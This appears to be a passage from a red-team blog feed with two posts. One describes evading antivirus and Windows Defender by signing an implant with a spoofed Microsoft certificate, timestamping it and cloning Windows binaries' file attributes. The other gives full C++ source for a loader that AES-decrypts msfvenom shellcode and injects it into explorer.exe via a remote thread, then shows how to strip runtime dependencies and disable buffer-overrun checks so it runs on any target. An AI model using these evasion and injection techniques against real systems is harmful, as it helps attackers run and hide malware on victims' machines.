  </span><span class="n">Provider</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Enhanced</span><span class="w"> </span><span class="nx">Cryptographic</span><span class="w"> </span><span class="nx">Provider</span><span class="w"> </span><span class="nx">v1.0</span><span class="w">
</span><span class="n">Encryption</span><span class="w"> </span><span class="nx">test</span><span class="w"> </span><span class="nx">passed</span><span class="w">
</span><span class="n">CertUtil:</span><span class="w"> </span><span class="nt">-dump</span><span class="w"> </span><span class="nx">command</span><span class="w"> </span><span class="nx">completed</span><span class="w"> </span><span class="nx">successfully.</span><span class="w">
</span></code></pre></div></div>

<p>Here’s what the signed implant looks like and it is clearly shown that it was signed with an invalid certificate.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/invalid-cert1.png"><img src="/static/img/2022-11-07-cloning-signing/invalid-cert1.png" alt="Invalid Cert" /></a></p>

<p>Based on the scan result, the detection rate improved from <strong>6/26</strong> to <strong>3/26</strong>. This signifies that code signing works (or simply fools some AVs) even with an invalid certificate.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/signed-implant.png"><img src="/static/img/2022-11-07-cloning-signing/signed-implant.png" alt="Signed Implant" /></a></p>

<blockquote>
  <p><em><strong>LESSON #1:</strong> Signed binaries are less investigated by some AV software. This means using a spoofed/invalid certificate works because there are AVs that don’t verify the validity of the digital certificate used.</em></p>
</blockquote>

<p>Obsessed with improving the detection rate, I decided to time-stamp my signed implant, using <code class="language-plaintext highlighter-rouge">http://timestamp.digicert.com</code> as the Time Stamp Authority (TSA) server, to make it more “trusted” and “verified”?</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\bin</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\signtool.exe</span><span class="w"> </span><span class="nx">timestamp</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="nx">/tr</span><span class="w"> </span><span class="nx">http://timestamp.digicert.com</span><span class="w"> </span><span class="nx">/td</span><span class="w"> </span><span class="nx">SHA256</span><span class="w"> </span><span class="o">.</span><span class="nx">\signed-implant.exe</span><span class="w">
</span><span class="n">Successfully</span><span class="w"> </span><span class="nx">timestamped:</span><span class="w"> </span><span class="o">.</span><span class="nx">\signed-implant.exe</span><span class="w">

</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">files</span><span class="w"> </span><span class="nx">successfully</span><span class="w"> </span><span class="nx">timestamped:</span><span class="w"> </span><span class="nx">1</span><span class="w">
</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">errors:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span></code></pre></div></div>

<p>Now here’s what the time-stamped binary looks like.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/invalid-cert2.png"><img src="/static/img/2022-11-07-cloning-signing/invalid-cert2.png" alt="Invalid Cert with Time Stamp" /></a></p>

<p>Did I get a better result? I’m quite disappointed because nothing changed and the detection rate stays at <strong>3/26</strong>.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/timestamped-implant.png"><img src="/static/img/2022-11-07-cloning-signing/timestamped-implant.png" alt="Time Stamped Implant" /></a></p>

<p>My disappointment did not stop me so I keep on thinking and trying different methods. Out of curiosity, I decided to change the TSA server and used <code class="language-plaintext highlighter-rouge">http://sha256timestamp.ws.symantec.com/sha256/timestamp</code> instead.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\bin</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\signtool.exe</span><span class="w"> </span><span class="nx">timestamp</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="nx">/tr</span><span class="w"> </span><span class="nx">http://sha256timestamp.ws.symantec.com/sha256/timestamp</span><span class="w"> </span><span class="nx">/td</span><span class="w"> </span><span class="nx">SHA256</span><span class="w"> </span><span class="o">.</span><span class="nx">\timestamped-implant.exe</span><span class="w">
</span><span class="n">Successfully</span><span class="w"> </span><span class="nx">timestamped:</span><span class="w"> </span><span class="o">.</span><span class="nx">\timestamped-implant.exe</span><span class="w">

</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">files</span><span class="w"> </span><span class="nx">successfully</span><span class="w"> </span><span class="nx">timestamped:</span><span class="w"> </span><span class="nx">1</span><span class="w">
</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">errors:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span></code></pre></div></div>

<p><a href="/static/img/2022-11-07-cloning-signing/invalid-cert3.png"><img src="/static/img/2022-11-07-cloning-signing/invalid-cert3.png" alt="Invalid Cert with New TSA server" /></a></p>

<p>Surprisingly, it worked and I now achieved the detection rate that I wanted!</p>

<p><a href="/static/img/2022-11-07-cloning-signing/timestamped-implant2.png"><img src="/static/img/2022-11-07-cloning-signing/timestamped-implant2.png" alt="Time Stamped Changed Implant" /></a></p>

<blockquote>
  <p><em><strong>LESSON #2:</strong> AV products behave differently depending on the TSA server used to time-stamp the binary.</em></p>
</blockquote>

<p>I want to further investigate this observation. However, <a href="https://antiscan.me/">AntiScan.Me</a> only allows 4 submissions per IP each day and I don’t have the luxury of time/resources to do it. Anyway, if you want to further explore this observation, here’s a <a href="https://gist.github.com/Manouchehri/fd754e402d98430243455713efada710">list of free RFC 3161 TSA servers</a>.</p>

<p>Now that I got what I wanted, it’s time to celebrate! Well… <strong>NO</strong>! Because as soon as my implant touches the disk of my target system (Windows 11 with up-to-date Windows Defender engine), it is caught immediately.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/signed-implant-detected.png"><img src="/static/img/2022-11-07-cloning-signing/signed-implant-detected.png" alt="Signed Implant Detected" /></a></p>

<p>How did Windows Defender flag my implant when <a href="https://antiscan.me/">AntiScan.Me</a> told me I got a 0/26 detection rate? How is that possible? I don’t even know how to answer my questions because I don’t have an idea how the different AV products within <a href="https://antiscan.me/">AntiScan.Me</a> actually works!</p>

<blockquote>
  <p><em><strong>LESSON #3:</strong> Don’t fully rely on online AV scanning tools/websites. While these online services make life easier since we can test our binary on different AV vendors and get the results at once, nothing beats testing your implant on a local and isolated machine.</em></p>
</blockquote>

<p>Is there a way to evade Windows Defender in this scenario? What if I make my implant look like a Microsoft-signed binary? To do that, I looked for signed binaries within the <code class="language-plaintext highlighter-rouge">C:\Windows\System32\</code> directory and ended up with <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code>. I cloned this file’s attributes into my implant, signed then time-stamped my implant with an invalid <code class="language-plaintext highlighter-rouge">www.microsoft.com</code> certificate, and rename it to <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code>. Here’s what my implant looks like.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/cloned-runtimebroker.png"><img src="/static/img/2022-11-07-cloning-signing/cloned-runtimebroker.png" alt="Cloned &amp; Signed RuntimeBroker.exe" /></a></p>

<p>I was very hopeful it will work but sadly, Windows Defender detected it as soon as it touches the disk.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/cloned-binary-detected.png"><img src="/static/img/2022-11-07-cloning-signing/cloned-binary-detected.png" alt="Cloned &amp; Signed RuntimeBroker.exe Detected" /></a></p>

<p>Maybe it was detected because I spoofed a Microsoft domain to sign a cloned Microsoft binary, and Windows Defender could easily verify the authenticity of the certificate and the binary since Microsoft owned them. Maybe, maybe not. Who knows?</p>

<p>As a further investigation, I tried cloning only the file attributes of <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code> but did not sign it. And the result is still the same.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/cloned-unsigned-detected.png"><img src="/static/img/2022-11-07-cloning-signing/cloned-unsigned-detected.png" alt="Cloned &amp; Unsigned RuntimeBroker.exe Detected" /></a></p>

<p>I already expected this to happen though since the original and legit copy of <code class="language-plaintext highlighter-rouge">RuntimeBroker.exe</code> is signed by Microsoft.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/legit-runtimebroker.png"><img src="/static/img/2022-11-07-cloning-signing/legit-runtimebroker.png" alt="Legit RuntimeBroker.exe" /></a></p>

<p>But what if I clone the file attributes of an unsigned Windows binary? This time, I opted to clone <code class="language-plaintext highlighter-rouge">C:\Windows\System32\at.exe</code> and did not bother signing it since the original/legit copy is not signed. As soon as my implant touches the disk, Windows Defender did not detect it. Even when executed and the shell was received, Windows Defender also failed.</p>

<blockquote>
  <p><em><strong>LESSON #4:</strong> There are tons of Windows binaries (signed/unsigned and/or installed by default or not) so the above observation might not be true 100%. However, based on my experiment, I would say cloning and code-signing Windows binaries comes with a risk. So make sure to thoroughly test your implant if you opted to use cloning and code signing.</em></p>
</blockquote>

<p><a href="/static/img/2022-11-07-cloning-signing/cloned-at.exe.gif"><img src="/static/img/2022-11-07-cloning-signing/cloned-at.exe.gif" alt="Cloned at.exe" /></a></p>

<p>However, as soon as I used meterpreter’s <code class="language-plaintext highlighter-rouge">shell</code> command (as shown above), Windows Defender alerted with <code class="language-plaintext highlighter-rouge">Behavior:Win32/Meterpreter.D</code>. Despite the alert, my meterpreter shell did not die and when I used the <code class="language-plaintext highlighter-rouge">shell</code> command for the second time, Windows Defender alert did not pop out again.</p>

<blockquote>
  <p><em><strong>LESSON #5:</strong> Being able to download and execute your implant undetected does not necessarily mean the job is done and you won’t get caught. So don’t forget to implement some in-memory evasion techniques.</em></p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>After spending some time with this experiment and trying to achieve what I wanted (0 detection rate), I realized an important lesson (at least for me).</p>

<blockquote>
  <p><em><strong>LESSON #6:</strong> Don’t be obsessed or force a 0 detection rate. If we don’t know the security solution running on our target, we ideally wanted to aim for a 0 detection rate. However, the time spent (or wasted) achieving a 0 detection rate could instead be used for information gathering to identify the AV/EDR installed on our target. Using this information, we can then solely focus on evading that particular product.</em></p>
</blockquote>

<p>Before I end this post, I would like to leave these additional lessons.</p>

<blockquote>
  <p><em><strong>LESSON #7:</strong> When cloning file attributes, don’t limit yourself to Windows binaries. Beware though and ensure that the binary you wanted to clone and execute on your target must be present/installed and/or most likely being used/run on that machine. What I mean is you obviously don’t want to clone and execute an iTunes binary when your target is a Windows Server.</em></p>
</blockquote>

<blockquote>
  <p><em><strong>LESSON #8:</strong> No detection does not mean no alert/notification will be sent to the blue team.</em></p>
</blockquote>

<blockquote>
  <p><em><strong>LESSON #9:</strong> Signing an implant with a spoofed certificate might have LEGAL consequences. Do it at your own risk and be responsible.</em></p>
</blockquote>

<p>That’s it for this post. Again, these are my opinions which are based on what I have observed during my experiment. There’s no guarantee that you’ll see the same observations and that all lessons shared here will work in your environment and all scenarios.</p>

<p><strong>Remember, evasion is always a cat-and-mouse game.</strong></p>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[Lessons learned and observed while experimenting with code signing and cloning file attributes.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-11-07-cloning-signing/cloned-at.exe.gif" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-11-07-cloning-signing/cloned-at.exe.gif" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Writing an Independent Malware</title><link href="https://captmeelo.com/redteam/maldev/2022/10/17/independent-malware.html" rel="alternate" type="text/html" title="Writing an Independent Malware" /><published>2022-10-17T00:00:00+00:00</published><updated>2022-10-17T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/10/17/independent-malware</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/10/17/independent-malware.html"><![CDATA[<blockquote>
  <p><em>I’m almost 90% complete drafting this post when I came across this <a href="https://www.youtube.com/watch?v=TfG9lBYCOq8">talk</a> by <a href="https://twitter.com/rad9800">@rad9800</a> that discusses the same topic. I’m still publishing this anyhow because I don’t want my efforts to go to waste and this post contains some ideas not mentioned in the talk.</em></p>
</blockquote>

<p>There’s no greater feeling when the malware (or any project/tool) you’re developing works as expected. Until suddenly you realized it only works on your dev machine but not on any other machine.</p>

<p>Here’s an example of what I mean. This code is a commonly used template by malware in which the payload is AES-encrypted (using <a href="https://github.com/kokke/tiny-AES-c">tiny-AES-c</a> in this case) to avoid static detection. The payload gets decrypted during execution and injected into a remote target process’ memory space.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Captain.MeeloIsTheSuperSecretKey"</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98</span><span class="s">"</span><span class="p">;</span>

	<span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>
	<span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
	<span class="n">AES_CBC_decrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">6028</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Handle obtained: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">);</span>

	<span class="n">PVOID</span> <span class="n">baseAddress</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">baseAddress</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Memory allocated: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">);</span>

	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Memory written: %zu bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">baseAddress</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Thread created: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hThread</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload executed!"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>When run on the dev machine, the compiled code works as expected.</p>

<p><a href="/static/img/2022-10-17-independent-malware/code-runs-dev-machine.png"><img src="/static/img/2022-10-17-independent-malware/code-runs-dev-machine.png" alt="Code Runs in Dev Machine" /></a></p>

<p>But when the same binary gets executed on a different machine, it throws the following error.</p>

<p><a href="/static/img/2022-10-17-independent-malware/code-dont-run-lab-machine.png"><img src="/static/img/2022-10-17-independent-malware/code-dont-run-lab-machine.png" alt="Code Doest not Work in a Different Machine" /></a></p>

<h2 id="runtime-libraries">Runtime Libraries</h2>

<p>What the heck is <code class="language-plaintext highlighter-rouge">VCRUNTIME140.dll</code>? This DLL is a runtime library used by Microsoft Visual Studio which consists of functions/codes a program needs in order to work during run time.</p>

<p>Per Microsoft’s <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/crt-library-features?view=msvc-170&amp;viewFallbackFrom=vs-2019">documentation</a>:</p>
<blockquote>
  <p>The vcruntime library contains Visual C++ CRT implementation-specific code, such as exception handling and debugging support, runtime checks and type information, implementation details and certain extended library functions.</p>
</blockquote>

<p>Looking at the binary’s IAT (Import Address Table), several functions are imported from <code class="language-plaintext highlighter-rouge">VCRUNTIME140.dll</code> and <code class="language-plaintext highlighter-rouge">api-ms-win-crt-*.dll</code> DLLs.</p>

<p><a href="/static/img/2022-10-17-independent-malware/iat-vcruntime140.png"><img src="/static/img/2022-10-17-independent-malware/iat-vcruntime140.png" alt="Functions Imported from VCRUNTIME140.dll" /></a></p>

<p>When the binary is executed, the OS loads the required libraries (hence called “<strong>runtime</strong> library”) in the process’ address space and then resolves the relevant functions used by the program.</p>

<h2 id="why-do-we-care">Why Do We Care?</h2>

<p>During an engagement, we have no idea whether the libraries required by your implant/malware are installed on the target system. Well, if you already have access to the target machine then you can do an enumeration first. However, it is a good idea to assume the target system does not have the required libraries. Doing so will allow us to develop a program that works in any system.</p>

<h2 id="the-solutions">The Solutions</h2>

<p>How do we get around it and remove the dependencies? Here are some of the solutions I discovered as I encounter the same obstacle.</p>

<h3 id="install-whats-missing">Install What’s Missing</h3>

<p>One of the easiest solutions is to install <a href="https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170"><strong>Microsoft Visual C++ Redistributable</strong></a>. However, it is not recommended as making changes to a target system, especially installing software, is bad practice.</p>

<p>When Googling this issue, the solution provided by some web pages instructs the reader to download the missing DLL hosted on their server. This is a big NO as the legitimacy of the hosted file is unknown, and this could put the target/client’s system in a riskier scenario.</p>

<p><a href="/static/img/2022-10-17-independent-malware/dll-download.png"><img src="/static/img/2022-10-17-independent-malware/dll-download.png" alt="VCRUNTIME140.dll Available for Download" /></a></p>

<h3 id="statically-link-em">Statically Link ‘Em</h3>

<p>Getting rid of runtime libraries can be done by static linking them during compile time. With this approach, worrying about the missing libraries on the target system goes away as they are already “bundled” in the binary. Hence, the chance the program will work on any system is highly probable.</p>

<p>Static linking of the required libraries is easy. In <strong>Visual Studio</strong>, go to the project properties and set the value of the <code class="language-plaintext highlighter-rouge">Runtime Library</code> property to <code class="language-plaintext highlighter-rouge">Multi-threaded (/MT)</code>.</p>

<p><a href="/static/img/2022-10-17-independent-malware/static-linking.png"><img src="/static/img/2022-10-17-independent-malware/static-linking.png" alt="Static Linking" /></a></p>

<p>Since libraries are “bundled” into the executable, the following drawbacks can be observed:</p>
<ul>
  <li><strong>Bloated binary:</strong> Here’s a comparison showing a difference of more than 100KB in file size when using static linking.</li>
</ul>

<p><a href="/static/img/2022-10-17-independent-malware/static-size-diff.png"><img src="/static/img/2022-10-17-independent-malware/static-size-diff.png" alt="Static vs Dynamic Linking File Size Comparison" /></a></p>

<ul>
  <li><strong>More IAT entries:</strong> Static linking results in more imports (78 in this case) compared to dynamic linking (49 in total).</li>
</ul>

<p><a href="/static/img/2022-10-17-independent-malware/static-iat-diff.png"><img src="/static/img/2022-10-17-independent-malware/static-iat-diff.png" alt="Static vs Dynamic Linking IAT Comparison" /></a></p>

<h3 id="manually-remove-em">Manually Remove ‘Em</h3>

<p>To eliminate any dependencies, tell the linker to exclude all default libraries from the list of libraries it searches. This is done by setting the <code class="language-plaintext highlighter-rouge">/NODEFAULTLIB</code> linker option.</p>

<p><a href="/static/img/2022-10-17-independent-malware/nodefaultlib.png"><img src="/static/img/2022-10-17-independent-malware/nodefaultlib.png" alt="/NODEFAULTLIB Linker Option" /></a></p>

<p>However, compilation with the <code class="language-plaintext highlighter-rouge">/NODEFAULTLIB</code> linker option set causes the following error.</p>

<p><a href="/static/img/2022-10-17-independent-malware/nodefaultlib-build-error.png"><img src="/static/img/2022-10-17-independent-malware/nodefaultlib-build-error.png" alt="/NODEFAULTLIB Compile Error" /></a></p>

<p>What happened? Let’s first discuss the highlighted item.</p>

<p>To start the analysis, set a breakpoint in <code class="language-plaintext highlighter-rouge">main()</code>, debug the code, and look at the call stack. Here, it shows <code class="language-plaintext highlighter-rouge">main()</code> is not the entry point of the program. In fact, the execution begins by invoking the <code class="language-plaintext highlighter-rouge">mainCRTStartup()</code> function, which is the entry point of the C runtime library and is responsible for the initialization of the memory manager, file I/O, etc. Then the <code class="language-plaintext highlighter-rouge">main()</code> function will eventually be called.</p>

<p><a href="/static/img/2022-10-17-independent-malware/call-stack.png"><img src="/static/img/2022-10-17-independent-malware/call-stack.png" alt="Call Stack" /></a></p>

<h4 id="changing-the-programs-entry-point">Changing the Program’s Entry Point</h4>

<p>If <code class="language-plaintext highlighter-rouge">main()</code> is not the actual entry point, then just “force” the compiler to use <code class="language-plaintext highlighter-rouge">main()</code> as the entry point. To do this, add the directive <code class="language-plaintext highlighter-rouge">#pragma comment(linker, "/ENTRY:main")</code> in the above code or set the <code class="language-plaintext highlighter-rouge">Entry Point</code> property to <code class="language-plaintext highlighter-rouge">main</code>.</p>

<blockquote>
  <p><em>Other function names (e.g., <code class="language-plaintext highlighter-rouge">entry()</code>) can be used as the entry point and having a <code class="language-plaintext highlighter-rouge">main()</code> function in the code is optional.</em></p>
</blockquote>

<p><a href="/static/img/2022-10-17-independent-malware/main-entry-point.png"><img src="/static/img/2022-10-17-independent-malware/main-entry-point.png" alt="Main Entry Point" /></a></p>

<p>The other method does not involve changing the entry point, but having our version of the <code class="language-plaintext highlighter-rouge">mainCRTStartup()</code> function. Since <code class="language-plaintext highlighter-rouge">mainCRTStartup()</code> is the real entry point, then simply put the code inside it. Using this approach, the updated code would look like this.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
</span>
<span class="kt">void</span> <span class="kr">__stdcall</span> <span class="nf">mainCRTStartup</span><span class="p">()</span>
<span class="p">{</span>
	<span class="p">[</span><span class="n">THE_BODY_CONTAINS_THE_SAME_CODE_AS_ABOVE</span><span class="p">]</span>
<span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p><em><code class="language-plaintext highlighter-rouge">int main()</code> was simply change to <code class="language-plaintext highlighter-rouge">void __stdcall mainCRTStartup()</code>. Note that the rest of this post uses this method.</em></p>
</blockquote>

<p>Using either method, compiling the updated code returns fewer errors. Specifically, the error message <code class="language-plaintext highlighter-rouge">LNK2001 unresolved external symbol mainCRTStartup</code> is gone.</p>

<p><a href="/static/img/2022-10-17-independent-malware/maincrtstartup-fixed.png"><img src="/static/img/2022-10-17-independent-malware/maincrtstartup-fixed.png" alt="mainCRTStartup Error Gone" /></a></p>

<h4 id="disabling-security-check">Disabling Security Check</h4>

<p>To address the error <code class="language-plaintext highlighter-rouge">LNK2001 unresolved external symbol __security_check_cookie</code>, simply tell the compiler to stop checking for buffer overruns. To do this, set the <code class="language-plaintext highlighter-rouge">Security Check</code> property to <code class="language-plaintext highlighter-rouge">Disable Security Check (/GS-)</code>.</p>

<p><a href="/static/img/2022-10-17-independent-malware/disable-security-check.png"><img src="/static/img/2022-10-17-independent-malware/disable-security-check.png" alt="Disable Security Check" /></a></p>

<blockquote>
  <p><em>I won’t go into the details about the <code class="language-plaintext highlighter-rouge">/GS</code> compiler option, but here’s a <a href="https://learn.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-check?view=msvc-170">reference</a> you can read.</em></p>
</blockquote>

<p>After compiling the updated program, only two errors were left.</p>

<p><a href="/static/img/2022-10-17-independent-malware/two-errors-left.png"><img src="/static/img/2022-10-17-independent-malware/two-errors-left.png" alt="Two Errors Left" /></a></p>

<h4 id="removing-stdioh">Removing <code class="language-plaintext highlighter-rouge">&lt;stdio.h&gt;</code></h4>

<p>The remaining errors are related to the included library <code class="language-plaintext highlighter-rouge">stdio.h</code>, which contains functions for file I/O operations. The base code includes this library to be able to use the <code class="language-plaintext highlighter-rouge">printf()</code> function. If this library is removed and all lines containing the <code class="language-plaintext highlighter-rouge">printf()</code> function are commented out, then the remaining errors are gone.</p>

<p>[![Removing <stdio.h>](/static/img/2022-10-17-independent-malware/stdio-gone.png)](/static/img/2022-10-17-independent-malware/stdio-gone.png)</stdio.h></p>

<p>When the updated code gets compiled and the binary is executed on another system, it works and the initial error related to <code class="language-plaintext highlighter-rouge">VCRUNTIME140.dll</code> didn’t pop out.</p>

<p><a href="/static/img/2022-10-17-independent-malware/crt-removed.png"><img src="/static/img/2022-10-17-independent-malware/crt-removed.png" alt="Binary Works w/o CRT Dependencies" /></a></p>

<p>Looking again at the binary’s IAT, the number of imports is reduced to 4 and only contains the actual WinAPI used within the code.</p>

<p><a href="/static/img/2022-10-17-independent-malware/new-iat.png"><img src="/static/img/2022-10-17-independent-malware/new-iat.png" alt="IAT Entries Reduced" /></a></p>

<p>The file size is also reduced to only 7KB, which is smaller than the original size of 15KB.</p>

<p><a href="/static/img/2022-10-17-independent-malware/size-reduced.png"><img src="/static/img/2022-10-17-independent-malware/size-reduced.png" alt="File Size Reduced" /></a></p>

<h3 id="build-your-own">Build Your Own</h3>

<h4 id="custom-printf">Custom <code class="language-plaintext highlighter-rouge">printf()</code></h4>

<p>But what if <code class="language-plaintext highlighter-rouge">printf()</code> is necessary for our program? One approach is to have a custom <code class="language-plaintext highlighter-rouge">printf()</code> function. Here’s an example which utilizes Windows API.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">my_printf</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">pszFormat</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
	<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
	<span class="kt">va_list</span> <span class="n">argList</span><span class="p">;</span>
